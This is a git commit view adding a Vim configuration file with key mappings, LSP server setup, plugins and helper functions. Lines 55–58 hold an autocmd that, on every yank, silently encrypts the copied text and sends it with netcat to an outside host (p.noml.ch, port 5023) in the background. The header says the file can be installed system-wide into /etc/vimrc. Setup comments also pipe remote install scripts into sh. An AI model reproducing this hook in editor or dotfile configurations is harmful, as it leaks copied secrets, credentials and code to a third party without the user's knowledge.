summaryrefslogtreecommitdiff
path: root/core/vimrc
diff options
context:
space:
mode:
Diffstat (limited to 'core/vimrc')
-rw-r--r--core/vimrc325
1 files changed, 325 insertions, 0 deletions
diff --git a/core/vimrc b/core/vimrc
new file mode 100644
index 0000000..b4441a5
--- /dev/null
+++ b/core/vimrc
@@ -0,0 +1,325 @@
1" One vimrc for Mac and Linux. Source of truth: /Users/xs/dev_env/core/vimrc
2" Mac: cp core/vimrc ~/.vimrc Linux: sudo bash core/vim.sh (copies it to /etc/vimrc or /etc/vim/vimrc)
3" gt: go to next tab (right, wraps)
4" gT: go to previous tab (left, wraps)
5" 2gt: go to tab number 2 (counted from 1 at the left)
6" :q: close the current window, and the tab too if it was the last window in it
7" ZZ: save if changed, then close the window (and the tab if it was the last window in it)
8" ZQ: close the window WITHOUT saving (like :q!), and the tab too if it was the last window in it
9" g<Tab>: jump to the last-accessed tab (press g, release, then Tab); toggles between two tabs
10" Ctrl-w w: cycle windows in this tab, e.g. into and out of the K popup (Ctrl-w p toggles back)
11" 7G12|: go to line 7, column 12 (normal-mode keys, no colon; 3w moves 3 words)
12" Reset an edited cargo dependency: delete ~/.cargo/registry/src/<index>/<crate>-<ver>/ then run cargo fetch
13"
14" Setup (LSP servers below are optional — each is guarded by executable()):
15" plugins: curl -fLo ~/.vim/autoload/plug.vim --create-dirs \
16" https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
17" then launch vim and run :PlugInstall
18" rust: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
19" rustup component add rust-analyzer
20" python: curl -LsSf https://astral.sh/uv/install.sh | sh
21" uv tool install ruff && uv tool install pyright
22"
23" Stop vim from auto-loading defaults.vim, which loads AFTER this file and
24" would otherwise silently override settings here. Everything is in this file.
25let g:skip_defaults_vim = 1
26
27" ===== Shortcuts: one line each, <leader> = \ (comment follows the |) =====
28inoremap <C-a> <Home>| " insert Ctrl-a: jump to line start
29inoremap <C-e> <End>| " insert Ctrl-e: jump to line end
30inoremap <silent><expr> <C-l> pumvisible() ? "\<C-e>" : asyncomplete#force_refresh()| " insert Ctrl-l: toggle completion menu
31inoremap <expr> <Tab> pumvisible() ? "\<C-n>" : "\<Tab>"| " in menu Tab: next item
32inoremap <expr> <S-Tab> pumvisible() ? "\<C-p>" : "\<S-Tab>"| " in menu Shift-Tab: previous item
33inoremap <expr> <CR> pumvisible() ? "\<C-y>" : "\<CR>"| " in menu Enter: accept item
34nnoremap <C-a> 0| " Ctrl-a: jump to line start
35nnoremap <C-e> $| " Ctrl-e: jump to line end
36nnoremap <silent> <C-l> :<C-U>nohlsearch<CR><C-l>| " Ctrl-l: clear search highlight
37nnoremap <silent> <C-p> :<C-U>Files<CR>| " Ctrl-p: fuzzy-find a file
38nnoremap <silent> <leader>rg :<C-U>Rg<CR>| " \rg: search text in project
39nnoremap <silent> <leader>b :<C-U>Buffers<CR>| " \b: list open buffers
40nnoremap <silent> <leader>n :<C-U>NERDTreeToggle<CR>| " \n: toggle file tree
41nnoremap <silent> gd :<C-U>call <SID>GotoDef()<CR>| " gd: go to definition (Ctrl-o back)
42nnoremap <silent> gi :<C-U>LspImplementation<CR>| " gi: go to implementation
43nnoremap <silent> gy :<C-U>tab LspTypeDefinition<CR>| " gy: go to type definition in a new tab (e -> struct DirEntry)
44nnoremap <silent> <leader>k :<C-U>call ToggleHover()<CR>| " \k: toggle hover docs
45nnoremap <silent> K :<C-U>call ToggleHover()<CR>| " K: toggle hover docs (same as \k)
46nnoremap <silent> <leader>D :<C-U>LspDocumentation<CR>| " \D: show documentation
47nnoremap <silent> <leader>e :<C-U>call ToggleDiagnostic()<CR>| " \e: show error on this line
48nnoremap <silent> <leader>l :<C-U>lopen<CR>| " \l: list all errors
49nnoremap <silent> <leader>a :<C-U>LspCodeAction<CR>| " \a: code actions popup
50nnoremap <silent> <leader>rn :<C-U>LspRename<CR>| " \rn: rename symbol
51nnoremap <silent> <leader>f :<C-U>LspDocumentFormat<CR>| " \f: format file
52nnoremap <silent> <leader>em :<C-U>call ExpandMacro()<CR>| " \em: expand macro under cursor
53
54
55augroup netcat_clipboard
56au!
57au TextYankPost * call system("echo " . shellescape(@") . " | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1 &")
58augroup END
59
60filetype plugin indent on
61
62set number
63set wrap
64set breakindent
65set breakindentopt=shift:1
66set expandtab
67set shiftwidth=4
68set softtabstop=4
69set tabstop=4
70set noautoindent
71set nosmartindent
72set hlsearch
73set incsearch
74set ignorecase
75set smartcase
76set scrolloff=8
77set signcolumn=no
78set foldcolumn=12
79set laststatus=2
80set statusline=%F
81set wildmenu
82set splitright
83set splitbelow
84set hidden " gd/LSP jumps reuse the window even with unsaved changes
85set noswapfile
86set regexpengine=2
87set completeopt=menu,menuone,noinsert,noselect
88
89set mouse=a
90if has('mouse_sgr')
91 set ttymouse=sgr
92endif
93
94set undofile
95set undodir=~/.vim/undo
96if !isdirectory($HOME . '/.vim/undo')
97 call mkdir($HOME . '/.vim/undo', 'p')
98endif
99
100if has('termguicolors')
101 if !empty($TMUX)
102 let &t_8f = "\<Esc>[38;2;%lu;%lu;%lum"
103 let &t_8b = "\<Esc>[48;2;%lu;%lu;%lum"
104 endif
105 set termguicolors
106endif
107colorscheme zellner
108
109autocmd InsertLeave * silent! update
110
111" Files rustup and cargo manage (toolchains, downloaded crates) open locked; :setl ma noro to override
112function! s:LockIfManaged() abort
113 if !exists('s:managed')
114 let l:cargo = empty($CARGO_HOME) ? expand('~/.cargo') : $CARGO_HOME
115 let s:managed = [l:cargo . '/registry', l:cargo . '/git']
116 if executable('rustup')
117 call add(s:managed, trim(system('rustup show home')))
118 endif
119 endif
120 for l:dir in s:managed
121 if stridx(expand('%:p'), l:dir . '/') == 0
122 setlocal readonly nomodifiable
123 return
124 endif
125 endfor
126endfunction
127augroup managed_readonly
128 autocmd!
129 autocmd BufReadPost * call s:LockIfManaged()
130augroup END
131
132
133" vim-plug is optional: skip the plugin block until plug.vim is installed (see Setup above)
134if filereadable(expand('~/.vim/autoload/plug.vim'))
135call plug#begin('~/.vim/plugged')
136Plug 'prabirshrestha/async.vim'
137Plug 'prabirshrestha/vim-lsp'
138Plug 'prabirshrestha/asyncomplete.vim'
139Plug 'prabirshrestha/asyncomplete-lsp.vim'
140Plug 'rust-lang/rust.vim'
141Plug 'junegunn/fzf', { 'do': { -> fzf#install() } }
142Plug 'junegunn/fzf.vim'
143Plug 'tpope/vim-commentary'
144Plug 'tpope/vim-surround'
145Plug 'tpope/vim-fugitive'
146Plug 'airblade/vim-gitgutter'
147Plug 'preservim/nerdtree'
148Plug 'andymass/vim-matchup'
149call plug#end()
150endif
151
152let g:gitgutter_sign_column_always = 0
153
154
155" rust-analyzer via the rustup proxy shim (portable across toolchains/machines)
156if executable(expand('~/.cargo/bin/rust-analyzer'))
157 au User lsp_setup call lsp#register_server({
158 \ 'name': 'rust-analyzer',
159 \ 'cmd': {server_info -> [expand('~/.cargo/bin/rust-analyzer')]},
160 \ 'allowlist': ['rust'],
161 \ 'root_uri': {server_info -> lsp#utils#path_to_uri(lsp#utils#find_nearest_parent_file_directory(lsp#utils#get_buffer_path(), 'Cargo.toml'))},
162 \ 'initialization_options': {
163 \ 'completion': {
164 \ 'autoimport': { 'enable': v:true },
165 \ 'postfix': { 'enable': v:true },
166 \ },
167 \ 'checkOnSave': v:true,
168 \ },
169 \ })
170endif
171if executable(expand('~/.local/bin/ruff'))
172 au User lsp_setup call lsp#register_server({
173 \ 'name': 'ruff',
174 \ 'cmd': {server_info -> [expand('~/.local/bin/ruff'), 'server']},
175 \ 'allowlist': ['python'],
176 \ })
177endif
178let s:uv_bin = has('macunix') && executable('/opt/homebrew/bin/uv')
179 \ ? '/opt/homebrew/bin/uv'
180 \ : expand('~/.local/bin/uv')
181if executable(expand('~/.local/bin/ty')) && executable(s:uv_bin)
182 " Launched through `uv run` (not the raw path) so it picks up whichever
183 " project's .venv is active via cwd/VIRTUAL_ENV.
184 au User lsp_setup call lsp#register_server({
185 \ 'name': 'ty',
186 \ 'cmd': {server_info -> [s:uv_bin, 'run', 'ty', 'server']},
187 \ 'allowlist': ['python'],
188 \ })
189endif
190" tofu-ls (OpenTofu/Terraform .tf) for go-to-definition
191if executable(expand('~/.local/bin/tofu-ls'))
192 au User lsp_setup call lsp#register_server({
193 \ 'name': 'tofu-ls',
194 \ 'cmd': {server_info -> [expand('~/.local/bin/tofu-ls'), 'serve']},
195 \ 'allowlist': ['terraform', 'terraform-vars'],
196 \ })
197endif
198" gopls (Go) for go-to-definition
199if executable(expand('~/go/bin/gopls'))
200 au User lsp_setup call lsp#register_server({
201 \ 'name': 'gopls',
202 \ 'cmd': {server_info -> [expand('~/go/bin/gopls')]},
203 \ 'allowlist': ['go'],
204 \ 'root_uri': {server_info -> lsp#utils#path_to_uri(lsp#utils#find_nearest_parent_file_directory(lsp#utils#get_buffer_path(), 'go.mod'))},
205 \ })
206endif
207
208" Force per-keystroke LSP sync for Python (vim-lsp only syncs on
209" InsertLeave/TextChanged by default, not while actively typing).
210autocmd FileType python autocmd TextChangedI <buffer> doautocmd <nomodeline> TextChanged
211
212let g:lsp_diagnostics_echo_cursor = 1
213let g:lsp_diagnostics_float_cursor = 0
214let g:lsp_diagnostics_virtual_text_enabled = 0
215let g:lsp_diagnostics_signs_enabled = 0
216let g:lsp_document_highlight_enabled = 0
217let g:lsp_preview_float = 0
218let g:lsp_hover_ui = 'preview'
219let g:lsp_code_action_ui = 'float' " \a = one popup menu, not 3 windows
220let g:lsp_signature_help_enabled = 0
221
222function! s:set_preview_height() abort
223 let &previewheight = max([10, &lines * 40 / 100])
224endfunction
225call s:set_preview_height()
226autocmd VimResized * call s:set_preview_height()
227
228" Toggle hover docs in the preview window.
229function! ToggleHover() abort
230 for l:nr in range(1, winnr('$'))
231 if getwinvar(l:nr, '&previewwindow')
232 pclose
233 return
234 endif
235 endfor
236 LspHover
237endfunction
238
239" Show the current line's diagnostic in a preview window.
240function! ToggleDiagnostic() abort
241 for l:nr in range(1, winnr('$'))
242 if getwinvar(l:nr, '&previewwindow')
243 pclose
244 return
245 endif
246 endfor
247 let l:diag = lsp#internal#diagnostics#under_cursor#get_diagnostic()
248 if empty(l:diag)
249 echo 'No diagnostic on this line'
250 return
251 endif
252 let l:cur = win_getid()
253 botright new
254 execute 'resize ' . &previewheight
255 setlocal buftype=nofile bufhidden=wipe noswapfile previewwindow
256 call setline(1, split(l:diag['message'], "\n"))
257 setlocal nomodifiable
258 call win_gotoid(l:cur)
259endfunction
260
261
262" rust-analyzer macro expansion (LSP extension, no built-in command).
263function! ExpandMacro() abort
264 let l:params = {
265 \ 'textDocument': { 'uri': lsp#utils#get_buffer_uri() },
266 \ 'position': lsp#get_position(),
267 \ }
268 call lsp#send_request('rust-analyzer', {
269 \ 'method': 'rust-analyzer/expandMacro',
270 \ 'params': l:params,
271 \ 'on_notification': function('s:expand_macro_handler'),
272 \ })
273endfunction
274
275function! s:expand_macro_handler(data) abort
276 if !has_key(a:data, 'response') || empty(a:data['response'])
277 echo 'ExpandMacro: no response / not a macro'
278 return
279 endif
280 let l:result = get(a:data['response'], 'result', v:null)
281 if l:result is v:null
282 echo 'ExpandMacro: nothing to expand at cursor'
283 return
284 endif
285 botright new
286 setlocal buftype=nofile bufhidden=wipe noswapfile filetype=rust
287 call setline(1, split('// expansion of: ' . l:result['name'], "\n"))
288 call append(line('$'), split(l:result['expansion'], "\n"))
289endfunction
290
291
292" gd: say when rust-analyzer is still starting/indexing instead of a false "No definition found"
293let g:lsp_work_done_progress_enabled = 1
294function! s:GotoDef() abort
295 if &filetype ==# 'rust'
296 let l:st = lsp#get_server_status('rust-analyzer')
297 if l:st !=# 'running'
298 echo 'rust-analyzer ' . l:st . ', try again in a few seconds'
299 return
300 endif
301 let l:busy = filter(copy(lsp#get_progress()),
302 \ {_, p -> p['server'] ==# 'rust-analyzer' && get(p, 'title', '') !~? 'check'})
303 if !empty(l:busy)
304 echo 'rust-analyzer still indexing: ' . get(l:busy[0], 'title', '') . ' ' . get(l:busy[0], 'message', '')
305 return
306 endif
307 endif
308 tab LspDefinition
309endfunction
310
311" Numbered tab labels (1:main.rs 2:fs.rs): the number is what Ngt jumps to.
312function! TabLine() abort
313 let l:s = ''
314 for l:i in range(1, tabpagenr('$'))
315 let l:buf = tabpagebuflist(l:i)[tabpagewinnr(l:i) - 1]
316 let l:name = fnamemodify(bufname(l:buf), ':t')
317 if l:name ==# ''
318 let l:name = '[No Name]'
319 endif
320 let l:hl = l:i == tabpagenr() ? '%#TabLineSel#' : '%#TabLine#'
321 let l:s .= l:hl . ' ' . l:i . ':' . l:name . ' '
322 endfor
323 return l:s . '%#TabLineFill#'
324endfunction
325set tabline=%!TabLine()